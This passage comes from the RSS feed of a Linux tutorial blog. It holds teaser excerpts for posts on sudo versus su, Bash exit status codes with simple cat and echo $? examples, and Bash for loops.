   ]]></content:encoded></item><item><title><![CDATA[Sudo vs. Su in Linux]]></title><description><![CDATA[sudo and su are commonly used to run command with root permissions.]]></description><link>https://blog.sysxplore.com/p/sudo-vs-su-in-linux</link><guid isPermaLink="false">https://blog.sysxplore.com/p/sudo-vs-su-in-linux</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Mon, 06 Oct 2025 16:42:41 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/02da55d5-1b36-4fd8-b088-0ad41d2a9c98_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>sudo and su are commonly used to run command with root permissions. Root privileges are required to perform certain tasks such as installing software, adding users and changing ownerships, etc. When a normal user requires administrative changes, you can use sudo or su command in Linux.</p><p>Here we learn about the differences between Sudo and Su and how to us&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/sudo-vs-su-in-linux">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Bash 101 - Exit Status Code Indepth]]></title><description><![CDATA[When writing Bash scripts, you will frequently need to stop the execution of a script when a certain condition is met or perform some actions based on a command's exit code.]]></description><link>https://blog.sysxplore.com/p/bash-101-exit-status-code-indepth</link><guid isPermaLink="false">https://blog.sysxplore.com/p/bash-101-exit-status-code-indepth</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Fri, 08 Aug 2025 17:50:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/da24c1b1-de1d-40c6-9d11-d421f483cf32_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When writing Bash scripts, you will frequently need to stop the execution of a script when a certain condition is met or perform some actions based on a command's exit code.</p><p>In this article we will go over the built-in bash exit command as well as the exit status codes of the commands that have been executed.</p><h4><strong>BONUS</strong></h4><p>Stay tuned until the end of this guide for something special: a free copy of my<a href="http://bashhandbook.com/"> </a><em><a href="http://bashhandbook.com/">Bash Scripting Handbook</a></em>.</p><h2><strong>Exit Status Code</strong></h2><p>When a shell command exits, whether successfully without any errors or unsuccessfully with errors, it returns an exit code.<br><br>An exit code of zero indicates that the command was completed properly without any errors, while a non-zero indicates that an error occurred.</p><p>The $? is a special shell variable that stores the exit status of the most recently run command:</p><pre><code><code>cat manifesto.txt

echo $?</code></code></pre><pre><code><code># output

A Gentle reminder, I use Arch BTW!

0</code></code></pre><p>Because the cat command was completed successfully and without error, the exit code is zero, as expected.<br><br>If you attempt to run cat command on a not-existing file, the exit code will be non-zero as shown below:</p><pre><code><code>cat no-file

echo $?</code></code></pre><pre><code><code># output

cat: no-file: No such file or directory

1</code></code></pre><p>As expected, the exist status code is non-zero.</p><p>The exit status code of a command can be used for debugging and determining the reason for its failure. The man pages for each command provide information about the exit codes. When chaining commands using pipes, the exit status code is that of the last command in the chain.</p><p></p>
      <p>
          <a href="https://blog.sysxplore.com/p/bash-101-exit-status-code-indepth">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Bash 101: How to use for loops]]></title><description><![CDATA[Loops are one of the core building blocks in Bash scripting.]]></description><link>https://blog.sysxplore.com/p/bash-101-how-to-use-for-loops</link><guid isPermaLink="false">https://blog.sysxplore.com/p/bash-101-how-to-use-for-loops</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Fri, 25 Jul 2025 15:56:31 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c3e6bca2-1a39-4163-88b5-e54bb7926bf9_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Loops are one of the core building blocks in Bash scripting. They let you run a set of commands repeatedly, which is useful for anything from processing files in a directory to automating system tasks. Among the different types of loops, the <code>for</code> loop is one of the most commonly used. It lets you iterate over a sequence of values, such as numbers, string&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/bash-101-how-to-use-for-loops">
              Read more
          </a>
      </p>
   ]]></content:encoded></item></channel></rss>